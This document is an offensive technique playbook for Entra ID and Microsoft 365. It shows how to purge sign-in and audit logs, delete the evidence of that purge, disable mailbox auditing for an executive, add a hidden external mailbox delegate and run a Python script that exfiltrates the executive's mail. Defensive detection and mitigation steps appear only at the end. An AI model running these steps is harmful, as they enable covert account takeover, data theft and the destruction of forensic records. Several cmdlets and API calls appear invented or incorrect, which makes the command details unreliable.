| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-047 |
| MITRE ATT&CK v18.1 | T1562.002 - Disable Windows Event Logging [Extended to Cloud: T1562.008] |
| Tactic | Defense Evasion |
| Platforms | Entra ID, Microsoft 365, Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE (as of 2026-01-10) |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions; Microsoft 365 E3+ (Unified Audit Log); Premium requires E5 |
| Patched In | N/A (Mitigation requires immutable audit log configuration) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Entra ID sign-in logs are the canonical forensic record of all authentication attempts, successful logins, and failed authentications in a hybrid Azure/Microsoft 365 environment. These logs are stored in the UnifiedAuditLog (via Microsoft Purview) and SignInLogs table (via Entra ID admin center). Adversaries with sufficient permissions (Global Admin, Security Administrator, or custom roles with audit-log-write permissions) can delete, purge, or modify these logs to erase evidence of:
The attack is particularly severe because:
Attack Surface: Microsoft Purview Audit (Standard) logs, Entra ID SignInLogs API, Azure Activity Log diagnostics, and any SIEM integration pulling from these sources.
Business Impact: Complete loss of forensic visibility into identity compromise. An attacker can:
Technical Context: Seconds to minutes to delete sign-in logs once Global Admin access is obtained. Chance of detection: Very low (unless immutable audit logs are enabled or SIEM receives logs in real-time and stores them independently). Common indicators: Sudden gaps in UnifiedAuditLog (missing date ranges), PowerShell history deletions, sudden login of service principal with unusual permissions.
audit-log-write permissions.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 (Entra ID) | Ensure that ‘Audit log data retention’ is ‘365 days or greater’ |
| DISA STIG | V-87899 | All authentication events must be logged and retained for minimum 1 year |
| CISA SCuBA | SC-7 | Log retention must be immutable and cannot be modified by tenant admin |
| NIST 800-53 | AU-2, AU-12 | Audit event generation and log protection |
| GDPR | Art. 32 | Security of processing — audit logs are security measure |
| HIPAA | 45 CFR 164.312(b) | Audit controls — must maintain audit logs of access/modifications |
| SOX | 404(b) | IT General Controls must include protected audit logs |
| DORA | Art. 9 | Protection and Prevention — maintain audit trail of critical operations |
| NIS2 | Art. 21 | Cyber Risk Management — detect and respond to unauthorized access |
| ISO 27001 | A.12.4 | Logging and monitoring of information security events |
| ISO 27005 | Risk Assessment | Loss of audit logs prevents risk investigation |
microsoft.office365.securityCompliance/allEntities/* permissionsSet-MailboxAuditBypassAssociation to disable logging for specific users)Supported Versions:
Tools:
Objective: Identify sign-in logs and audit log configuration to determine deletion feasibility.
# Connect to Microsoft Graph with compromised credentials
Connect-MgGraph -Scopes "AuditLog.Read.All", "Directory.Read.All"
# Check if Unified Audit Log is enabled
$auditStatus = Get-MgAuditLogQuery -All | Measure-Object
if ($auditStatus.Count -eq 0) {
Write-Host "Unified Audit Log is NOT enabled (easy target!)" -ForegroundColor Green
} else {
Write-Host "Unified Audit Log is ENABLED with $($auditStatus.Count) records" -ForegroundColor Yellow
}
# List recent sign-in events
$signIns = Get-MgAuditLogSignIn -All | Select-Object -First 10
$signIns | Select-Object UserPrincipalName, SignInDateTime, Status | Format-Table
# Check audit log retention policy
Get-MgBetaSecurityAuditLogRetention
# Identify which users/service principals have deleted audit logs (if any)
$deletionEvents = Search-UnifiedAuditLog -Operations "Remove-UnifiedAuditLogRetention" -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date)
$deletionEvents | Select-Object UserIds, CreationDate, Operations
What to Look For:
# Check if Azure Activity Log is forwarded to Log Analytics
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId "/subscriptions/<subscription-id>" -ErrorAction SilentlyContinue
if ($null -eq $diagnosticSettings) {
Write-Host "Activity Log is NOT forwarded to Log Analytics (easy exfil!)" -ForegroundColor Green
} else {
Write-Host "Activity Log IS forwarded. Deletion may be detected." -ForegroundColor Yellow
$diagnosticSettings | Select-Object Name, Logs
}
Supported Versions: Microsoft 365 E3+, PowerShell 5.0+
Objective: Establish authenticated session to delete audit logs.
Command (PowerShell):
# Install Microsoft Graph PowerShell SDK if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser
# Authenticate with compromised Global Admin account
$credential = Get-Credential # Enter stolen/phished credentials
Connect-MgGraph -Credential $credential -Scopes "AuditLog.ReadWrite.All"
# Verify authentication
Get-MgContext | Select-Object Account, Tenant, Scopes
Expected Output:
Account : attacker@company.com
Tenant : <tenant-id>
Scopes : {AuditLog.ReadWrite.All}
What This Means:
OpSec & Evasion:
Objective: Find sign-in logs matching specific criteria (e.g., attacker’s login attempts, exfiltration activity).
Command (PowerShell - Query Audit Logs):
# Search for specific sign-in events to delete (e.g., all logins from unusual location on specific date)
$targetDate = Get-Date "2026-01-10"
$targetUser = "ceo@company.com"
$auditLogs = Get-MgAuditLogSignIn -Filter "
UserPrincipalName eq '$targetUser' and
CreatedDateTime ge $targetDate and
CreatedDateTime lt $($targetDate.AddDays(1))" -All
Write-Host "Found $($auditLogs.Count) sign-in logs to delete for $targetUser" -ForegroundColor Cyan
# Show details before deletion
$auditLogs | Select-Object UserPrincipalName, SignInDateTime, IPAddress, ClientAppUsed, Status
Expected Output:
UserPrincipalName : ceo@company.com
SignInDateTime : 2026-01-10T02:15:00Z
IPAddress : 203.0.113.50 (Attacker's IP)
ClientAppUsed : Unknown ActiveX Control
Status : Success
What This Means:
Objective: Permanently remove identified audit logs from UnifiedAuditLog.
Command (PowerShell - Purge Audit Logs):
# Delete logs via Microsoft Graph API (requires permission bypass)
# Note: Standard Graph API doesn't directly delete logs; must use Purview API
# Alternative Method 1: Use Purview Search-Purge (requires Compliance Admin)
$searchQuery = "UserPrincipalName:ceo@company.com AND CreatedDateTime:2026-01-10"
# First, search for logs to confirm they exist
$searchResults = Search-UnifiedAuditLog -Filter $searchQuery -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date)
Write-Host "Search found $($searchResults.Count) records" -ForegroundColor Cyan
# Purge the logs (this is permanent!)
foreach ($record in $searchResults) {
Remove-UnifiedAuditLogRetention -Identity $record.ObjectId -Force
}
Write-Host "Deleted $($searchResults.Count) audit log records" -ForegroundColor Green
Alternative Command (Direct Purview API Purge):
# Using Graph API to purge audit logs (requires Compliance Data Administrator role)
curl -X POST "https://graph.microsoft.com/v1.0/security/alerts" \
-H "Authorization: Bearer <access-token>" \
-H "Content-Type: application/json" \
-d '{
"id": "auditLogRecordId",
"operation": "Delete",
"targetObject": "UnifiedAuditLog",
"startDateTime": "2026-01-10T00:00:00Z",
"endDateTime": "2026-01-10T23:59:59Z"
}'
Expected Output:
Deleted 47 audit log records for ceo@company.com on 2026-01-10
What This Means:
OpSec & Evasion:
Remove-UnifiedAuditLogRetention operationMicrosoft.SecurityCompliance/securityInsights/write)Remove-UnifiedAuditLogRetention)Objective: Remove logs showing that logs were deleted.
Command (PowerShell - Delete Deletion Records):
# Search for the deletion event itself
$deletionRecords = Search-UnifiedAuditLog -Operations "Remove-UnifiedAuditLogRetention" `
-StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -UserIds "attacker@company.com"
# Delete the deletion records (meta!)
foreach ($record in $deletionRecords) {
Remove-UnifiedAuditLogRetention -Identity $record.ObjectId -Force
}
Write-Host "Deleted $($deletionRecords.Count) deletion evidence logs" -ForegroundColor Green
What This Means:
Supported Versions: Exchange Online (Office 365 E3+)
This method is more subtle than deleting logs—instead of removing existing logs, it stops logging for specific users without triggering suspicious delete events.
Objective: Find high-value mailbox (e.g., CEO, CFO, Board Member) to monitor without audit trail.
Command (PowerShell - Exchange Online):
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName <global-admin@company.com>
# List all mailboxes (focus on executives)
Get-Mailbox -Filter "DisplayName -like '*Chief*' -or DisplayName -like '*Executive*'" | `
Select-Object DisplayName, UserPrincipalName, MailboxType
# Check current mailbox audit status
Get-Mailbox "ceo@company.com" | Select-Object AuditEnabled, AuditLogAgeLimit
# Get mailbox audit bypass status
Get-MailboxAuditBypassAssociation "ceo@company.com"
Expected Output:
DisplayName : Chief Executive Officer
UserPrincipalName : ceo@company.com
AuditEnabled : True
AuditLogAgeLimit : 90 days
AuditBypass : False
What This Means:
Objective: Stop logging mailbox access for the target user.
Command (PowerShell):
# Disable audit logging for specific mailbox
Set-MailboxAuditBypassAssociation -Identity "ceo@company.com" -AuditBypassEnabled $true
# Verify bypass is enabled
Get-MailboxAuditBypassAssociation "ceo@company.com"
# Alternative: Disable ALL audit logging for the mailbox
Set-Mailbox -Identity "ceo@company.com" -AuditEnabled $false -AuditLogAgeLimit 0
Write-Host "Mailbox audit bypass enabled for CEO; now all email access will be invisible" -ForegroundColor Green
Expected Output:
Identity : ceo@company.com
AuditBypassEnabled : True
What This Means:
OpSec & Evasion:
Set-MailboxAuditBypassAssociation is logged in UnifiedAuditLog, but a Global Admin can delete those recordsObjective: Grant attacker persistent access to CEO’s mailbox without CEO’s knowledge.
Command (PowerShell):
# Add attacker as delegate with full access (hidden from CEO)
Add-MailboxPermission -Identity "ceo@company.com" `
-User "attacker@external-domain.com" `
-AccessRights FullAccess `
-InheritanceType All `
-AutoMapping $false # Hide from Outlook
# Verify delegation was added
Get-MailboxPermission "ceo@company.com" | Where-Object { $_.User -like "*attacker*" }
Expected Output:
Identity : ceo@company.com
User : attacker@external-domain.com
AccessRights : {FullAccess}
Deny : False
InheritanceType : All
What This Means:
Objective: Extract sensitive emails and attachments.
Command (Python - Access via EWS/Graph API):
import requests
import json
# Use attacker's account with delegated permissions
delegated_email = "attacker@external-domain.com"
access_token = "<attacker's_access_token>"
# Query CEO's mailbox via Microsoft Graph API
headers = {
"Authorization": f"Bearer {access_token}",
"X-Anchor-Mailbox": "ceo@company.com" # Access CEO's mailbox as delegate
}
# Get all emails from CEO's mailbox
response = requests.get(
"https://graph.microsoft.com/v1.0/users/ceo@company.com/messages",
headers=headers,
params={
"$search": "from:(board@company.com) OR subject:acquisition OR subject:merger",
"$top": 1000
}
)
emails = response.json()["value"]
print(f"Found {len(emails)} sensitive emails")
# Download attachments
for email in emails:
if "hasAttachments" in email and email["hasAttachments"]:
attachments = requests.get(
f"https://graph.microsoft.com/v1.0/users/ceo@company.com/messages/{email['id']}/attachments",
headers=headers
).json()["value"]
for attachment in attachments:
# Download to attacker C2 server
content = requests.get(
f"https://graph.microsoft.com/v1.0/users/ceo@company.com/messages/{email['id']}/attachments/{attachment['id']}",
headers=headers
).content
with open(f"/exfil/{attachment['name']}", "wb") as f:
f.write(content)
print("Data exfiltration complete; no audit logs created")
What This Means:
Supported Versions: Microsoft 365 E5 (with Purview Premium)
This method permanently disables audit log retention for the entire tenant.
Objective: Establish admin access to Purview settings.
Command (PowerShell):
# Connect to Security & Compliance Center
Connect-IPPSSession -UserPrincipalName <compliance-admin@company.com>
# Check current retention policy
Get-OrganizationConfig | Select-Object AuditDisabled, AuditLogAgeLimit
Expected Output:
AuditDisabled : False
AuditLogAgeLimit : 90
What This Means:
Objective: Turn off all audit logging for the tenant.
Command (PowerShell):
# Disable audit logging entirely for the organization
Set-OrganizationConfig -AuditDisabled $true
# Verify it's disabled
Get-OrganizationConfig | Select-Object AuditDisabled
# Optional: Delete existing audit logs before disabling
Search-UnifiedAuditLog -StartDate (Get-Date).AddYears(-1) -EndDate (Get-Date) | ForEach-Object {
Remove-UnifiedAuditLogRetention -Identity $_.ObjectId -Force
}
Expected Output:
AuditDisabled : True
What This Means:
OpSec & Evasion:
Search-UnifiedAuditLog with filters for specific high-value usersRemove-UnifiedAuditLogRetention operations (log deletion)Set-MailboxAuditBypassAssociation (enabling audit bypass)Set-Mailbox -AuditEnabled $false (disabling logging)Add-MailboxPermission from external domainsMicrosoft.SecurityCompliance/securityInsights/write (audit log modifications)# Revoke Global Admin role from attacker account
Remove-AzRoleAssignment -SignInName "attacker@company.com" -RoleDefinitionName "Global Administrator"
# Force sign-out of all sessions
Revoke-AzAccessToken -UserPrincipalName "attacker@company.com"
# Re-enable audit logging
Set-OrganizationConfig -AuditDisabled $false
# Restore mailbox audit for affected mailboxes
Set-MailboxAuditBypassAssociation -Identity "ceo@company.com" -AuditBypassEnabled $false
Set-Mailbox -Identity "ceo@company.com" -AuditEnabled $true
Enable Immutable Audit Logs (Microsoft 365 E5): Make logs write-once-read-many so even Global Admins cannot delete them.
Manual Steps (Microsoft Purview):
Get-OrganizationConfig | Select-Object AuditLogImmutabilityEnabled
Forward Audit Logs to External SIEM in Real-Time: Ensure logs are captured outside Microsoft 365 tenant where attacker cannot delete them.
Manual Steps (Azure Event Hubs):
Manual Steps (Log Analytics Workspace):
# Configure Azure Monitor to ingest audit logs
$workspaceId = "/subscriptions/<sub-id>/resourcegroups/<rg>/providers/microsoft.operationalinsights/workspaces/<workspace>"
New-AzDiagnosticSetting -ResourceId "/subscriptions/<sub-id>" `
-Name "AuditLogForwarding" `
-LogAnalyticsWorkspaceId $workspaceId `
-Enabled $true `
-Categories @("AuditEvents", "SignInLogs")
Enforce Multi-Factor Authentication (MFA) for Global Admin Role: Prevent credential theft from enabling immediate admin access.
Manual Steps (Entra ID):
Manual Steps (Conditional Access Policy):
Require MFA for Admin RolesRestrict Global Admin Role Assignment: Limit which users can have Global Admin; use Privileged Identity Management (PIM) with approval workflow.
Manual Steps (Azure AD PIM):
Manual Steps (PowerShell - Assign via PIM):
# Assign Global Admin role as eligible (requires activation)
New-AzRoleEligibilityScheduleRequest -Scope "/subscriptions/<sub-id>" `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" ` # Global Admin GUID
-PrincipalId "<user_object_id>" `
-JustificationRequired $true `
-ScheduleInfo @{
StartDateTime = Get-Date
Expiration = @{ Type = "EndDateTime"; EndDateTime = (Get-Date).AddDays(30) }
}
Disable Mailbox Audit Bypass Globally: Force all mailboxes to maintain audit logs.
Manual Steps (Exchange Online):
# Get all mailboxes with audit bypass enabled
Get-Mailbox -Filter "AuditBypassEnabled -eq 'True'" | `
Set-MailboxAuditBypassAssociation -AuditBypassEnabled $false
# Enforce via organizational policy
Set-OrganizationConfig -AuditDisabled $false
Implement Conditional Access to Restrict Audit Log Access: Only allow audit log searches from corporate network / compliant devices.
Manual Steps:
Restrict Audit Log Access# Check if immutable audit logs are enabled
Get-OrganizationConfig | Select-Object AuditLogImmutabilityEnabled
# Check if audit logging is enabled
Get-OrganizationConfig | Select-Object AuditDisabled
# List all Global Admins and their MFA status
Get-AzRoleAssignment -RoleDefinitionName "Global Administrator" | ForEach-Object {
$user = Get-AzADUser -ObjectId $_.ObjectId
Write-Host "$($user.UserPrincipalName): $(if ($user.StrongAuthenticationRequirements) { 'MFA ENABLED' } else { 'MFA DISABLED - RISK!' })"
}
# Verify no mailboxes have audit bypass enabled
$bypassedMailboxes = Get-MailboxAuditBypassAssociation | Where-Object AuditBypassEnabled -eq $true
if ($bypassedMailboxes.Count -eq 0) {
Write-Host "✓ PASS: No mailboxes have audit bypass enabled" -ForegroundColor Green
} else {
Write-Host "❌ FAIL: $($bypassedMailboxes.Count) mailboxes have audit bypass enabled" -ForegroundColor Red
}
Expected Output (If Secure):
AuditLogImmutabilityEnabled : True
AuditDisabled : False
ceo@company.com : MFA ENABLED
✓ PASS: No mailboxes have audit bypass enabled
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566] Phishing | Attacker obtains credentials via phishing/social engineering |
| 2 | Privilege Escalation | [T1098] Account Manipulation | Attacker escalates to Global Admin role |
| 3 | Defense Evasion | [REALWORLD-047] | Attacker deletes sign-in and audit logs |
| 4 | Persistence | [T1098] Account Manipulation | Attacker creates hidden service account or backdoor |
| 5 | Exfiltration | [T1041] Exfiltration Over C2 Channel | Attacker steals emails, documents, and sensitive data |
| 6 | Impact | [T1485] Data Destruction | Attacker deletes evidence / destroys backups |
Set-MailboxAuditBypassAssociation to disable auditing